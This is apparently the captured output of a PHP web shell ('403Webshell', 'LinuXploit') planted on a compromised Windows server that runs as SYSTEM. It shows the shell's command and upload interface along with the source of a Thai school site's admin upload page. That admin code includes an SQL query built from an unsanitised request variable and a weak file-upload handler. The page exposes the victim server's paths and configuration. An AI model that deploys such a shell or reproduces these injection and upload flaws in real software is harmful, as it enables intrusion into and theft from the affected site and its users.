403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/nongpho/modules/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/nongpho/modules/admin/signature3.php
<?
CheckAdmin($_SESSION['admin_user'], $_SESSION['admin_pwd']);
?>
<?php
include 'includes/connect.php';
?>


<? if($update == '1' ){
//==========================================================================================
//======================================================== BEGIN ===== UPLOAD 1 ============
//==========================================================================================

	if (is_uploaded_file($_FILES['filesw']['tmp_name'])) { 
	$filesw_name = substr ($filesw, -4);
			
	
	$filesw_name=$idedit;
#ตรวจสอบชนิดของไฟล์
$sizefile = $_FILES["filesw"]["size"]; 
if($sizefile>20248) {echo "<script language='javascript'>" ;
				echo "alert('กรุณาใช้รูปภาพ 30  kb ')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
}

			
			move_uploaded_file($_FILES['filesw']['tmp_name'],"usericon/" . $filesw_name.".jpg" );	
	}
//==========================================================================================
//======================================================== END ======= UPLOAD 1 ============
//==========================================================================================
	
} ?>
<div align="left">
      <table cellspacing="0" cellpadding="0" width="100%" border="0">
        <tbody>
          <tr>
           
        </tbody>
      </table>
	  <table cellspacing="0" cellpadding="0" width="100%" border="0">
        <tbody>
         
                      <td><table width="100%">
                          <tr>
                            <td>
                              <table width="100%" align="center" cellspacing="0" cellpadding="0" border="0">
                              
                                <tr>
                                  <td width="100%"align="center"><CENTER><a href="javascript:window.open('','_self');window.close()" >ปิดหน้าต่างนี้</a></CENTER>


  <br>
  <div align="left"> </div>
</form>
<table width="100%"  border="0" cellspacing="0" cellpadding="1">
  <tr>
    <td bgcolor="#c2e1fd" class=" unnamed1">&nbsp;</td>
  </tr>
</table>
<? if($showedit != '') { ?>
  <form name="form2" method="post" action="?name=admin&file=signature3" enctype="multipart/form-data" >
  <div align="left">
    <table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0">
      
      <tr class="unnamed1">
        
		

<?
	
	$sql="select * from web_user where id=$showedit ";
	//echo"$sql";
	$dbquery = mysql_db_query($dbname, $sql);
	
		$result = mysql_fetch_array($dbquery);
		
	
?>

			<td class="unnamed2"><div align="center">
				แก้ไขรูปภาพ<BR> <b><? echo"$result[name]"; ?></b><BR>&nbsp;
				
			</div></td>
</tr>
<tr>
			<td class="unnamed2"><div align="center">
				
				<input name="filesw" type="file" id="filesw" size="30" >&nbsp;&nbsp;
				<input name="idedit" type="hidden" id="idedit" value="<? echo"$result[id]"; ?>">
				<input name="update" type="hidden" id="update" value="1">
			</div></td>
			</tr>
			<tr>
        <BR>
        <td><div align="center">
           <BR> <input type="submit" name="Submit" value="  บันทึกการแก้ไข    ">
        </div></td></tr>
        <td><label>
        </label></td>
      </tr>
    </table>
    <br>
</form>
  <? } ?>

<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>


Youez - 2016 - github.com/yon3zu
LinuXploit